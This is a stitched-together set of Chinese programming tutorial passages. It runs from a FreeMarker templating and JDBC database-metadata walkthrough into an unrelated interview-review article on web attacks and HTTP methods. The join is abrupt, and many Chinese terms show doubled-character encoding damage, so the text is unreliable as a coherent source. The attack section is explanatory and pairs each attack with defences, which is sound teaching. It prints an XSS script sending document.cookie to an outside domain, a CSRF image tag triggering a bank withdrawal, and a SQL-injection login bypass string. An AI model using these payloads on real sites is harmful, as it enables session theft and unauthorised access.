          <table>
              <tr>
                  <td>序號(hào)</td>
                  <td>id</td>
                  <td>姓名</td>
                  <td>所處的年齡段</td>
                  <td>生日</td>
                  <td>錢包</td>
                  <td>是否最后一條數(shù)據(jù)</td>
              </tr>
              <#list stus as stu >
                  <tr>
                      <td>${stu_index + 1}</td>
                      <td>${stu.id?c}</td>
                      <td>
                          <#if stu.name?length=2>
                              ${stu.name?replace(stu.name?substring(1), "*")}
                          <#else>
                              ${stu.name?replace(stu.name?substring(1, stu.name?length-1), "*")}
                          </#if>
                      </td>
                      <td>
                          <#if stu.age <= 6>
                              童年
                          <#elseif stu.age <= 17>
                              少年
                          <#elseif stu.age <= 40>   
                              青年
                          <#elseif stu.age <= 65>   
                              中年
                          <#else>
                              老年
                          </#if>
                      </td>
                      <td>${stu.birthday?date}</td>
                      <td>${stu.money?int}元</td>
                      <td>
                          <#if stu_has_next>
                          否
                          <#else>
                          是
                          </#if>
                      </td>
                  </tr>
              </#list>
          </table>
          
          <hr>
          </body>
          </html>

          (3)測(cè)試

          瀏覽器訪問http://localhost:8881/student/list

          效果如下

          2.4.9 靜態(tài)化

          (1)springboot整合freemarker靜態(tài)化文件用法

          編寫springboot測(cè)試用例

          package com.itheima.test;
          
          import com.itheima.freemarker.FreemarkerDemoApplication;
          import com.itheima.freemarker.entity.Student;
          import freemarker.template.Configuration;
          import freemarker.template.Template;
          import freemarker.template.TemplateException;
          import org.junit.Test;
          import org.junit.runner.RunWith;
          import org.springframework.beans.factory.annotation.Autowired;
          import org.springframework.boot.test.context.SpringBootTest;
          import org.springframework.test.context.junit4.SpringRunner;
          
          import java.io.FileWriter;
          import java.io.IOException;
          import java.util.*;
          
          @SpringBootTest(classes = FreemarkerDemoApplication.class)
          @RunWith(SpringRunner.class)
          public class FreemarkerTest {
          
              //注入freemarker配置類
              @Autowired
              private Configuration configuration;
          
              @Test
              public void test() throws IOException, TemplateException {
                  Template template = configuration.getTemplate("04-innerFunc.ftl");
                  /**
                   * 靜態(tài)化并輸出到文件中   參數(shù)1:數(shù)據(jù)模型     參數(shù)2:文件輸出流
                   */
                  template.process(getData(), new FileWriter("d:/list.html"));
                  /**
                   * 靜態(tài)化并輸出到字節(jié)輸出流中
                   */
                  //StringWriter out = new StringWriter();
                  //template.process(getData(), out);
                  //System.out.println(out.toString());
              }
          
          
              private Map getData(){
          
                  Map<String,Object> map = new HashMap<>();
          
                  Student stu1 = new Student();
                  stu1.setName("小強(qiáng)");
                  stu1.setAge(18);
                  stu1.setMoney(1000.86f);
                  stu1.setBirthday(new Date());
          
                  //小紅對(duì)象模型數(shù)據(jù)
                  Student stu2 = new Student();
                  stu2.setName("小紅");
                  stu2.setMoney(200.1f);
                  stu2.setAge(19);
          
                  //將兩個(gè)對(duì)象模型數(shù)據(jù)存放到List集合中
                  List<Student> stus = new ArrayList<>();
                  stus.add(stu1);
                  stus.add(stu2);
          
                  //向model中存放List集合數(shù)據(jù)
                  map.put("stus",stus);
          
          
                  //map數(shù)據(jù)
                  Map<String,Student> stuMap = new HashMap<>();
                  stuMap.put("stu1",stu1);
                  stuMap.put("stu2",stu2);
          
                  map.put("stuMap",stuMap);
                  //日期
                  map.put("today",new Date());
          
                  //長(zhǎng)數(shù)值
                  map.put("point",38473897438743L);
          
                  return map;
          
              }
          }

          (2)freemarker原生靜態(tài)化用法

          package com.itheima.freemarker.test;
          
          import com.itheima.freemarker.entity.Student;
          import freemarker.cache.FileTemplateLoader;
          import freemarker.cache.NullCacheStorage;
          import freemarker.template.Configuration;
          import freemarker.template.Template;
          import freemarker.template.TemplateException;
          import freemarker.template.TemplateExceptionHandler;
          
          import java.io.File;
          import java.io.FileWriter;
          import java.io.IOException;
          import java.util.*;
          
          public class FreemarkerTest {
          
              public static void main(String[] args) throws IOException, TemplateException {
                  //創(chuàng)建配置類
                  Configuration CONFIGURATION = new Configuration(Configuration.VERSION_2_3_22);
                  //設(shè)置模版加載路徑
          
                  //ClassTemplateLoader方式:需要將模版放在FreemarkerTest類所在的包,加載模版時(shí)會(huì)從該包下加載
                  //CONFIGURATION.setTemplateLoader(new ClassTemplateLoader(FreemarkerTest.class,""));
          
                  String path = java.net.URLDecoder.decode(FreemarkerTest.class.getClassLoader().getResource("").getPath(),"utf-8");
                  //FileTemplateLoader方式:需要將模版放置在classpath目錄下 目錄有中文也可以
                  CONFIGURATION.setTemplateLoader(new FileTemplateLoader(new File(path)));
          
                  //設(shè)置編碼
                  CONFIGURATION.setDefaultEncoding("UTF-8");
                  //設(shè)置異常處理器
                  CONFIGURATION.setTemplateExceptionHandler(TemplateExceptionHandler.RETHROW_HANDLER);
                  //設(shè)置緩存方式
                  CONFIGURATION.setCacheStorage(NullCacheStorage.INSTANCE);
                  //加載模版
                  Template template = CONFIGURATION.getTemplate("templates/04-innerFunc.ftl");
                  /**
                   * 靜態(tài)化并輸出到文件中   參數(shù)1:數(shù)據(jù)模型     參數(shù)2:文件輸出流
                   */
                  template.process(getModel(), new FileWriter("d:/list.html"));
                  /**
                   * 靜態(tài)化并輸出到字節(jié)輸出流中
                   */
                  //StringWriter out = new StringWriter();
                  //template.process(getData(), out);
                  //System.out.println(out.toString());
              }
          
          
              public static Map getModel(){
                  Map map = new HashMap();
                  //1.1 小強(qiáng)對(duì)象模型數(shù)據(jù)
                  Student stu1 = new Student();
                  stu1.setName("小強(qiáng)");
                  stu1.setAge(18);
                  stu1.setMoney(1000.86f);
                  stu1.setBirthday(new Date());
                  //1.2 小紅對(duì)象模型數(shù)據(jù)
                  Student stu2 = new Student();
                  stu2.setName("小紅");
                  stu2.setMoney(200.1f);
                  stu2.setAge(19);
                  //1.3 將兩個(gè)對(duì)象模型數(shù)據(jù)存放到List集合中
                  List<Student> stus = new ArrayList<>();
                  stus.add(stu1);
                  stus.add(stu2);
                  map.put("stus", stus);
                  // 2.1 添加日期
                  Date date = new Date();
                  map.put("today", date);
                  // 3.1 添加數(shù)值
                  map.put("point", 102920122);
                  return map;
              }
          }

          3 數(shù)據(jù)庫元數(shù)據(jù)

          3.1 介紹

          元數(shù)據(jù)(Metadata)是描述數(shù)據(jù)的數(shù)據(jù)。

          數(shù)據(jù)庫元數(shù)據(jù)(DatabaseMetaData)就是指定義數(shù)據(jù)庫各類對(duì)象結(jié)構(gòu)的數(shù)據(jù)。

          在mysql中可以通過show關(guān)鍵字獲取相關(guān)的元數(shù)據(jù)

          show status; 獲取數(shù)據(jù)庫的狀態(tài)
          show databases; 列出所有數(shù)據(jù)庫
          show tables; 列出所有表
          show create database [數(shù)據(jù)庫名]; 獲取數(shù)據(jù)庫的定義
          show create table [數(shù)據(jù)表名]; 獲取數(shù)據(jù)表的定義
          show columns from <table_name>; 顯示表的結(jié)構(gòu)
          show index from <table_name>; 顯示表中有關(guān)索引和索引列的信息
          show character set; 顯示可用的字符集以及其默認(rèn)整理
          show collation; 顯示每個(gè)字符集的整理
          show variables; 列出數(shù)據(jù)庫中的參數(shù)定義值

          也可以從 information_schema庫中獲取元數(shù)據(jù),information_schema數(shù)據(jù)庫是MySQL自帶的信息數(shù)據(jù)庫,它提供了訪問數(shù)據(jù)庫元數(shù)據(jù)的方式。存著其他數(shù)據(jù)庫的信息。

          select schema_name from information_schema.schemata; 列出所有的庫
          select table_name FROM information_schema.tables; 列出所有的表

          在代碼中可以由JDBC的Connection對(duì)象通過getMetaData方法獲取而來,主要封裝了是對(duì)數(shù)據(jù)庫本身的一些整體綜合信息,例如數(shù)據(jù)庫的產(chǎn)品名稱,數(shù)據(jù)庫的版本號(hào),數(shù)據(jù)庫的URL,是否支持事務(wù)等等。

          DatabaseMetaData的常用方法:

          getDatabaseProductName:獲取數(shù)據(jù)庫的產(chǎn)品名稱
          getDatabaseProductName:獲取數(shù)據(jù)庫的版本號(hào)
          getUserName:獲取數(shù)據(jù)庫的用戶名
          getURL:獲取數(shù)據(jù)庫連接的URL
          getDriverName:獲取數(shù)據(jù)庫的驅(qū)動(dòng)名稱
          driverVersion:獲取數(shù)據(jù)庫的驅(qū)動(dòng)版本號(hào)
          isReadOnly:查看數(shù)據(jù)庫是否只允許讀操作
          supportsTransactions:查看數(shù)據(jù)庫是否支持事務(wù)

          3.2 搭建環(huán)境

          (1)導(dǎo)入mysql依賴

          <dependency>
              <groupId>mysql</groupId>
              <artifactId>mysql-connector-java</artifactId>
              <version>5.1.47</version>
          </dependency>

          (2)創(chuàng)建測(cè)試用例

          package com.itheima.test;
          
          import org.junit.Before;
          import org.junit.Test;
          
          import java.sql.*;
          import java.util.Properties;
          
          public class DataBaseMetaDataTest {
              private Connection conn;
          
              @Before
              public void init() throws Exception {
                  Properties pro = new Properties();
                  pro.setProperty("user", "root");
                  pro.setProperty("password", "123456");
                  pro.put("useInformationSchema", "true");//獲取mysql表注釋
                  //pro.setProperty("remarksReporting","true");//獲取oracle表注釋
                  conn = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/?useUnicode=true&characterEncoding=UTF8", pro);
              }   
          }

          3.3 綜合信息元數(shù)據(jù)

          (1)獲取數(shù)據(jù)庫元信息綜合信息

          @Test
          public void testDatabaseMetaData() throws SQLException {
              //獲取數(shù)據(jù)庫元數(shù)據(jù)
              DatabaseMetaData dbMetaData = conn.getMetaData();
              //獲取數(shù)據(jù)庫產(chǎn)品名稱
              String productName = dbMetaData.getDatabaseProductName();
              System.out.println(productName);
              //獲取數(shù)據(jù)庫版本號(hào)
              String productVersion = dbMetaData.getDatabaseProductVersion();
              System.out.println(productVersion);
              //獲取數(shù)據(jù)庫用戶名
              String userName = dbMetaData.getUserName();
              System.out.println(userName);
              //獲取數(shù)據(jù)庫連接URL
              String userUrl = dbMetaData.getURL();
              System.out.println(userUrl);
              //獲取數(shù)據(jù)庫驅(qū)動(dòng)
              String driverName = dbMetaData.getDriverName();
              System.out.println(driverName);
              //獲取數(shù)據(jù)庫驅(qū)動(dòng)版本號(hào)
              String driverVersion = dbMetaData.getDriverVersion();
              System.out.println(driverVersion);
              //查看數(shù)據(jù)庫是否允許讀操作
              boolean isReadOnly = dbMetaData.isReadOnly();
              System.out.println(isReadOnly);
              //查看數(shù)據(jù)庫是否支持事務(wù)操作
              boolean supportsTransactions = dbMetaData.supportsTransactions();
              System.out.println(supportsTransactions);
          }

          (2)獲取數(shù)據(jù)庫列表

          @Test
          public void testFindAllCatalogs() throws Exception {
              //獲取元數(shù)據(jù)
              DatabaseMetaData metaData = conn.getMetaData();
              //獲取數(shù)據(jù)庫列表
              ResultSet rs = metaData.getCatalogs();
              //遍歷獲取所有數(shù)據(jù)庫表
              while (rs.next()) {
                  //打印數(shù)據(jù)庫名稱
                  System.out.println(rs.getString(1));
              }
              //釋放資源
              rs.close();
              conn.close();
          }

          (3)獲取某數(shù)據(jù)庫中的所有表信息

          @Test
          public void testFindAllTable() throws Exception {
              //獲取元數(shù)據(jù)
              DatabaseMetaData metaData = conn.getMetaData();
              //獲取所有的數(shù)據(jù)庫表信息
              ResultSet rs = metaData.getTables("庫名", "%", "%", new String[]{"TABLE"});
              //拼裝table
              while (rs.next()) {
                  //所屬數(shù)據(jù)庫
                  System.out.println(rs.getString(1));
                  //所屬schema
                  System.out.println(rs.getString(2));
                  //表名
                  System.out.println(rs.getString(3));
                  //數(shù)據(jù)庫表類型
                  System.out.println(rs.getString(4));
                  //數(shù)據(jù)庫表備注
                  System.out.println(rs.getString(5));
                  System.out.println("--------------");
              }
          }

          (4)獲取某張表所有的列信息

          @Test
          public void testFindAllColumns() throws Exception {
              //獲取元數(shù)據(jù)
              DatabaseMetaData metaData = conn.getMetaData();
              //獲取所有的數(shù)據(jù)庫某張表所有列信息
              ResultSet rs = metaData.getColumns("庫名", "%", "表名","%");
          
              while(rs.next()) {
                  //表名
                  System.out.println(rs.getString("TABLE_NAME"));
                  //列名
                  System.out.println(rs.getString("COLUMN_NAME"));
                  //類型碼值
                  System.out.println(rs.getString("DATA_TYPE"));
                  //類型名稱
                  System.out.println(rs.getString("TYPE_NAME"));
                  //列的大小
                  System.out.println(rs.getString("COLUMN_SIZE"));
                  //小數(shù)部分位數(shù),不適用的類型會(huì)返回null
                  System.out.println(rs.getString("DECIMAL_DIGITS"));
                  //是否允許使用null
                  System.out.println(rs.getString("NULLABLE"));
                  //列的注釋信息
                  System.out.println(rs.getString("REMARKS"));
                  //默認(rèn)值
                  System.out.println(rs.getString("COLUMN_DEF"));
                  //是否自增
                  System.out.println(rs.getString("IS_AUTOINCREMENT"));
                  //表中的列的索引(從 1 開始
                  System.out.println(rs.getString("ORDINAL_POSITION"));
                  System.out.println("--------------");
              }
          }

          3.4 參數(shù)元數(shù)據(jù)

          參數(shù)元數(shù)據(jù)(ParameterMetaData):是由PreparedStatement對(duì)象通過getParameterMetaData方法獲取而 來,主要是針對(duì)PreparedStatement對(duì)象和其預(yù)編譯的SQL命令語句提供一些信息,ParameterMetaData能提供占位符參數(shù)的個(gè)數(shù),獲取指定位置占位符的SQL類型等等 以下有一些關(guān)于ParameterMetaData的常用方法:

          getParameterCount:獲取預(yù)編譯SQL語句中占位符參數(shù)的個(gè)數(shù)
          @Test
          public void testParameterMetaData() throws Exception {
              String sql = "select * from health.t_checkgroup where id=? and code=?";
              PreparedStatement pstmt = conn.prepareStatement(sql);
              pstmt.setString(1, "7");
              pstmt.setString(2, "0003");
              //獲取ParameterMetaData對(duì)象
              ParameterMetaData paramMetaData = pstmt.getParameterMetaData();
              //獲取參數(shù)個(gè)數(shù)
              int paramCount = paramMetaData.getParameterCount();
              System.out.println(paramCount);
          }

          3.5 結(jié)果集元數(shù)據(jù)

          結(jié)果集元數(shù)據(jù)(ResultSetMetaData):是由ResultSet對(duì)象通過getMetaData方法獲取而來,主要是針對(duì)由數(shù)據(jù)庫執(zhí)行的SQL腳本命令獲取的結(jié)果集對(duì)象ResultSet中提供的一些信息,比如結(jié)果集中的列數(shù)、指定列的名稱、指 定列的SQL類型等等,可以說這個(gè)是對(duì)于框架來說非常重要的一個(gè)對(duì)象。 以下有一些關(guān)于ResultSetMetaData的常用方法:

          getColumnCount:獲取結(jié)果集中列項(xiàng)目的個(gè)數(shù)
          getColumnType:獲取指定列的SQL類型對(duì)應(yīng)于Java中Types類的字段
          getColumnTypeName:獲取指定列的SQL類型
          getClassName:獲取指定列SQL類型對(duì)應(yīng)于Java中的類型(包名加類名
          @Test
          public void testResultSetMetaData() throws Exception {
              String sql = "select * from health.t_checkgroup where id=?";
              PreparedStatement pstmt = conn.prepareStatement(sql);
              pstmt.setString(1, "7");
              //執(zhí)行sql語句
              ResultSet rs = pstmt.executeQuery();
              //獲取ResultSetMetaData對(duì)象
              ResultSetMetaData metaData = rs.getMetaData();
              //獲取查詢字段數(shù)量
              int columnCount = metaData.getColumnCount();
              System.out.println("字段總數(shù)量:"+ columnCount);
              for (int i = 1; i <= columnCount; i++) {
                  //獲取表名稱
                  System.out.println(metaData.getColumnName(i));
                  //獲取java類型
                  System.out.println(metaData.getColumnClassName(i));
                  //獲取sql類型
                  System.out.println(metaData.getColumnTypeName(i));
                  System.out.println("----------");
              }
          }

          4 代碼生成器環(huán)境搭建

          4.1 創(chuàng)建maven工程

          創(chuàng)建maven工程并導(dǎo)入以下依賴

          <properties>
              <java.version>11</java.version>
              <!-- 項(xiàng)目源碼及編譯輸出的編碼 -->
              <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
              <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
              <!-- 項(xiàng)目編譯JDK版本 -->
              <maven.compiler.source>11</maven.compiler.source>
              <maven.compiler.target>11</maven.compiler.target>
          </properties>
          
          <dependencies>
              <dependency>
                  <groupId>org.freemarker</groupId>
                  <artifactId>freemarker</artifactId>
                  <version>2.3.23</version>
              </dependency>
              <dependency>
                  <groupId>mysql</groupId>
                  <artifactId>mysql-connector-java</artifactId>
                  <version>5.1.47</version>
              </dependency>
              <dependency>
                  <groupId>org.projectlombok</groupId>
                  <artifactId>lombok</artifactId>
                  <version>1.18.8</version>
              </dependency>
              <dependency>
                  <groupId>org.apache.commons</groupId>
                  <artifactId>commons-lang3</artifactId>
                  <version>3.10</version>
              </dependency>
          </dependencies>

          目錄結(jié)構(gòu)如下

          注我的微信公眾號(hào):后端技術(shù)漫談

          不定期推送關(guān)于后端開發(fā)、爬蟲、算法題、數(shù)據(jù)結(jié)構(gòu)方面的原創(chuàng)技術(shù)文章,以及生活中的逸聞趣事。

          我目前是一名后端開發(fā)工程師。主要關(guān)注后端開發(fā),數(shù)據(jù)安全,網(wǎng)絡(luò)爬蟲,物聯(lián)網(wǎng),邊緣計(jì)算等方向。

          原創(chuàng)博客主要內(nèi)容

          • Java知識(shí)點(diǎn)復(fù)習(xí)全手冊(cè)
          • Leetcode算法題解析
          • 劍指offer算法題解析
          • SpringCloud菜鳥入門實(shí)戰(zhàn)系列
          • SpringBoot菜鳥入門實(shí)戰(zhàn)系列
          • Python爬蟲相關(guān)技術(shù)文章
          • 后端開發(fā)相關(guān)技術(shù)文章

          前言

          本文快速回顧了常考的的知識(shí)點(diǎn),用作面試復(fù)習(xí),事半功倍。

          面試知識(shí)點(diǎn)復(fù)習(xí)手冊(cè)

          全復(fù)習(xí)手冊(cè)文章導(dǎo)航

          Csdn全復(fù)習(xí)手冊(cè)文章導(dǎo)航:

          https://blog.csdn.net/qqxx6661/article/details/86775594

          已發(fā)布知識(shí)點(diǎn)復(fù)習(xí)手冊(cè)

          • Java基礎(chǔ)知識(shí)點(diǎn)面試手冊(cè)
          • Java容器(List、Set、Map)知識(shí)點(diǎn)快速復(fù)習(xí)手冊(cè)
          • Java并發(fā)知識(shí)點(diǎn)快速復(fù)習(xí)手冊(cè)(上)
          • Java并發(fā)知識(shí)點(diǎn)快速復(fù)習(xí)手冊(cè)(下)
          • Java虛擬機(jī)知識(shí)點(diǎn)快速復(fù)習(xí)手冊(cè)(上)
          • Java虛擬機(jī)知識(shí)點(diǎn)快速復(fù)習(xí)手冊(cè)(下)
          • 快速梳理23種常用的設(shè)計(jì)模式
          • Redis基礎(chǔ)知識(shí)點(diǎn)面試手冊(cè)
          • Leetcode題解分類匯總(前150題)
          • 面試常問的小算法總結(jié)
          • 查找算法總結(jié)及其部分算法實(shí)現(xiàn)Python/Java
          • 排序算法實(shí)現(xiàn)與總結(jié)Python/Java
          • HTTP應(yīng)知應(yīng)會(huì)知識(shí)點(diǎn)復(fù)習(xí)手冊(cè)(上)
          • ……等(請(qǐng)查看全復(fù)習(xí)手冊(cè)導(dǎo)航)

          本文參考

          本文內(nèi)容主要參考來自CyC2018的Github倉庫:CS-Notes

          有刪減,修改,補(bǔ)充額外增加內(nèi)容

          本作品采用知識(shí)共享署名-非商業(yè)性使用 4.0 國際許可協(xié)議進(jìn)行許可。

          --------------------正文-----------------------

          Web 攻擊技術(shù)

          跨站腳本攻擊XSS

          還可參考:https://blog.csdn.net/lpjishu/article/details/50917092

          1. 概念

          跨站腳本攻擊(Cross-Site Scripting, XSS),可以將代碼注入到用戶瀏覽的網(wǎng)頁上,這種代碼包括 HTML 和 JavaScript。

          例如有一個(gè)論壇網(wǎng)站,攻擊者可以在上面發(fā)布以下內(nèi)容:

          <script>location.href="//domain.com/?c=" + document.cookie</script>
          

          之后該內(nèi)容可能會(huì)被渲染成以下形式:

          <p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
          

          另一個(gè)用戶瀏覽了含有這個(gè)內(nèi)容的頁面將會(huì)跳轉(zhuǎn)到 domain.com 并攜帶了當(dāng)前作用域的 Cookie。如果這個(gè)論壇網(wǎng)站通過 Cookie 管理用戶登錄狀態(tài),那么攻擊者就可以通過這個(gè) Cookie 登錄被攻擊者的賬號(hào)了。

          2. 危害

          • 竊取用戶的 Cookie 值
          • 偽造虛假的輸入表單騙取個(gè)人信息
          • 顯示偽造的文章或者圖片

          3. 防范手段

          (一)設(shè)置 Cookie 為 HttpOnly

          設(shè)置了 HttpOnly 的 Cookie 可以防止 JavaScript 腳本調(diào)用,在一定程度上可以防止 XSS 竊取用戶的 Cookie 信息。

          (二)過濾特殊字符

          許多語言都提供了對(duì) HTML 的過濾:

          • PHP 的 htmlentities() 或是 htmlspecialchars()。
          • Python 的 cgi.escape()。
          • Java 的 xssprotect (Open Source Library)。
          • Node.js 的 node-validator。

          例如 htmlspecialchars() 可以將 < 轉(zhuǎn)義為 <,將 > 轉(zhuǎn)義為 >,從而避免 HTML 和 Javascript 代碼的運(yùn)行。

          (三)富文本編輯器的處理

          富文本編輯器允許用戶輸入 HTML 代碼,就不能簡(jiǎn)單地將 < 等字符進(jìn)行過濾了,極大地提高了 XSS 攻擊的可能性。

          富文本編輯器通常采用 XSS filter 來防范 XSS 攻擊,可以定義一些標(biāo)簽白名單或者黑名單,從而不允許有攻擊性的 HTML 代碼的輸入。

          以下例子中,form 和 script 等標(biāo)簽都被轉(zhuǎn)義,而 h 和 p 等標(biāo)簽將會(huì)保留。

          XSS 過濾在線測(cè)試

          跨站請(qǐng)求偽造CSRF

          XSS 利用的是用戶對(duì)指定網(wǎng)站的信任,CSRF 利用的是網(wǎng)站對(duì)用戶瀏覽器的信任。

          1. 概念

          跨站請(qǐng)求偽造(Cross-site request forgery,CSRF),是攻擊者通過一些技術(shù)手段欺騙用戶的瀏覽器去訪問一個(gè)自己曾經(jīng)認(rèn)證過的網(wǎng)站并執(zhí)行一些操作(如發(fā)郵件,發(fā)消息,甚至財(cái)產(chǎn)操作如轉(zhuǎn)賬和購買商品)。由于瀏覽器曾經(jīng)認(rèn)證過,所以被訪問的網(wǎng)站會(huì)認(rèn)為是真正的用戶操作而去執(zhí)行。這利用了 Web 中用戶身份驗(yàn)證的一個(gè)漏洞:簡(jiǎn)單的身份驗(yàn)證只能保證請(qǐng)求發(fā)自某個(gè)用戶的瀏覽器,卻不能保證請(qǐng)求本身是用戶自愿發(fā)出的。

          假如一家銀行用以執(zhí)行轉(zhuǎn)賬操作的 URL 地址如下:

          http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
          

          那么,一個(gè)惡意攻擊者可以在另一個(gè)網(wǎng)站上放置如下代碼:

          <img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
          

          如果有賬戶名為 Alice 的用戶訪問了惡意站點(diǎn),而她之前剛訪問過銀行不久,登錄信息尚未過期,那么她就會(huì)損失 1000 資金。

          這種惡意的網(wǎng)址可以有很多種形式,藏身于網(wǎng)頁中的許多地方。此外,攻擊者也不需要控制放置惡意網(wǎng)址的網(wǎng)站。例如他可以將這種地址藏在論壇,博客等任何用戶生成內(nèi)容的網(wǎng)站中。這意味著如果服務(wù)器端沒有合適的防御措施的話,用戶即使訪問熟悉的可信網(wǎng)站也有受攻擊的危險(xiǎn)。

          透過例子能夠看出,攻擊者并不能通過 CSRF 攻擊來直接獲取用戶的賬戶控制權(quán),也不能直接竊取用戶的任何信息。他們能做到的,是欺騙用戶瀏覽器,讓其以用戶的名義執(zhí)行操作。

          2. 防范手段

          (一)檢查 Referer 字段

          HTTP 頭中有一個(gè) Referer 字段,這個(gè)字段用于標(biāo)明請(qǐng)求來源于哪個(gè)地址。在處理敏感數(shù)據(jù)請(qǐng)求時(shí),通常來說,Referer 字段應(yīng)和請(qǐng)求的地址位于同一域名下,但并無法保證來訪的瀏覽器的具體實(shí)現(xiàn),亦無法保證瀏覽器沒有安全漏洞影響到此字段。并且也存在攻擊者攻擊某些瀏覽器,篡改其 Referer 字段的可能。

          (二)添加校驗(yàn) Token

          由于 CSRF 的本質(zhì)在于攻擊者欺騙用戶去訪問自己設(shè)置的地址,所以如果要求在訪問敏感數(shù)據(jù)請(qǐng)求時(shí),要求用戶瀏覽器提供不保存在 Cookie 中,并且攻擊者無法偽造的數(shù)據(jù)作為校驗(yàn),那么攻擊者就無法再執(zhí)行 CSRF 攻擊。這種數(shù)據(jù)通常是表單中的一個(gè)數(shù)據(jù)項(xiàng)。服務(wù)器將其生成并附加在表單中,其內(nèi)容是一個(gè)偽亂數(shù)。當(dāng)客戶端通過表單提交請(qǐng)求時(shí),這個(gè)偽亂數(shù)也一并提交上去以供校驗(yàn)。

          正常的訪問時(shí),客戶端瀏覽器能夠正確得到并傳回這個(gè)偽亂數(shù),而通過 CSRF 傳來的欺騙性攻擊中,攻擊者無從事先得知這個(gè)偽亂數(shù)的值,服務(wù)器端就會(huì)因?yàn)樾r?yàn) Token 的值為空或者錯(cuò)誤,拒絕這個(gè)可疑請(qǐng)求。

          (三)要求用戶輸入驗(yàn)證碼來進(jìn)行校驗(yàn)。

          SQL 注入攻擊

          1. 概念

          服務(wù)器上的數(shù)據(jù)庫運(yùn)行非法的 SQL 語句,主要通過拼接來完成。

          2. 攻擊原理

          例如一個(gè)網(wǎng)站登錄驗(yàn)證的 SQL 查詢代碼為:

          strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
          

          如果填入以下內(nèi)容:

          userName = "1' OR '1'='1";
          passWord = "1' OR '1'='1";
          

          那么 SQL 查詢字符串為:

          strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
          

          此時(shí)無需驗(yàn)證通過就能執(zhí)行以下查詢:

          strSQL = "SELECT * FROM users;"
          

          3. 防范手段

          (一)使用參數(shù)化查詢(不進(jìn)行拼接)

          以下以 Java 中的 PreparedStatement 為例,它是預(yù)先編譯的 SQL 語句,可以傳入適當(dāng)參數(shù)并且多次執(zhí)行。由于沒有拼接的過程,因此可以防止 SQL 注入的發(fā)生。

          PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
          stmt.setString(1, userid);
          stmt.setString(2, password);
          ResultSet rs = stmt.executeQuery();
          

          (二)單引號(hào)轉(zhuǎn)換

          將傳入的參數(shù)中的單引號(hào)轉(zhuǎn)換為連續(xù)兩個(gè)單引號(hào)

          (三)檢查變量數(shù)據(jù)類型和格式

          拒絕服務(wù)攻擊

          拒絕服務(wù)攻擊(denial-of-service attack,DoS),亦稱洪水攻擊,其目的在于使目標(biāo)電腦的網(wǎng)絡(luò)或系統(tǒng)資源耗盡,使服務(wù)暫時(shí)中斷或停止,導(dǎo)致其正常用戶無法訪問。

          分布式拒絕服務(wù)攻擊(distributed denial-of-service attack,DDoS),指攻擊者使用網(wǎng)絡(luò)上兩個(gè)或以上被攻陷的電腦作為“僵尸”向特定的目標(biāo)發(fā)動(dòng)“拒絕服務(wù)”式攻擊。

          維基百科:拒絕服務(wù)攻擊

          基礎(chǔ)概念

          URI

          URI 包含 URL 和 URN。

          • URI(Uniform Resource Identifier,統(tǒng)一資源標(biāo)識(shí)符)
          • URL(Uniform Resource Locator,統(tǒng)一資源定位符)
          • URN(Uniform Resource Name,統(tǒng)一資源名稱)

          在這里插入圖片描述

          HTTP請(qǐng)求報(bào)文和HTTP響應(yīng)報(bào)文

          HTTP請(qǐng)求報(bào)文

          一個(gè)HTTP請(qǐng)求報(bào)文由請(qǐng)求行(request line)、請(qǐng)求頭部(header)、空行和請(qǐng)求數(shù)據(jù)4個(gè)部分組成,下圖給出了請(qǐng)求報(bào)文的一般格式。

          <request-line> 請(qǐng)求行
          <headers> 請(qǐng)求頭
          <blank line> 空格
          <request-body> 請(qǐng)求數(shù)據(jù)
          

          在這里插入圖片描述


          HTTP響應(yīng)報(bào)文

          HTTP響應(yīng)也由三個(gè)部分組成,分別是:狀態(tài)行、消息報(bào)頭、響應(yīng)正文。

          <status-line>
          <headers>
          <blank line>
          <response-body>
          

          在這里插入圖片描述

          GET

          獲取資源

          當(dāng)前網(wǎng)絡(luò)請(qǐng)求中,絕大部分使用的是 GET 方法。

          HEAD

          獲取報(bào)文首部

          和 GET 方法一樣,但是不返回報(bào)文實(shí)體主體部分。

          主要用于確認(rèn) URL 的有效性以及資源更新的日期時(shí)間等。

          POST

          傳輸實(shí)體主體

          POST 主要用來傳輸數(shù)據(jù),而 GET 主要用來獲取資源。

          更多 POST 與 GET 的比較請(qǐng)見第八章。

          PUT

          上傳文件

          由于自身不帶驗(yàn)證機(jī)制,任何人都可以上傳文件,因此存在安全性問題,一般不使用該方法

          PATCH

          對(duì)資源進(jìn)行部分修改

          PUT 也可以用于修改資源,但是只能完全替代原始資源,PATCH 允許部分修改。

          DELETE

          刪除文件

          與 PUT 功能相反,并且同樣不帶驗(yàn)證機(jī)制。

          DELETE /file.html HTTP/1.1
          

          OPTIONS

          查詢支持的方法

          查詢指定的 URL 能夠支持的方法。

          會(huì)返回 Allow: GET, POST, HEAD, OPTIONS 這樣的內(nèi)容。

          CONNECT

          要求用隧道協(xié)議連接代理

          要求在與代理服務(wù)器通信時(shí)建立隧道,使用 SSL(Secure Sockets Layer,安全套接層)和 TLS(Transport Layer Security,傳輸層安全)協(xié)議把通信內(nèi)容加密后經(jīng)網(wǎng)絡(luò)隧道傳輸。

          在這里插入圖片描述

          TRACE

          追蹤路徑

          服務(wù)器會(huì)將通信路徑返回給客戶端。

          發(fā)送請(qǐng)求時(shí),在 Max-Forwards 首部字段中填入數(shù)值,每經(jīng)過一個(gè)服務(wù)器就會(huì)減 1,當(dāng)數(shù)值為 0 時(shí)就停止傳輸。

          通常不會(huì)使用 TRACE,并且它容易受到 XST 攻擊(Cross-Site Tracing,跨站追蹤),因此更不會(huì)去使用它。

          HTTP Header

          有 4 種類型的首部字段:通用首部字段、請(qǐng)求首部字段、響應(yīng)首部字段和實(shí)體首部字段。

          各種首部字段及其含義如下(不需要全記,僅供查閱):

          通用首部字段

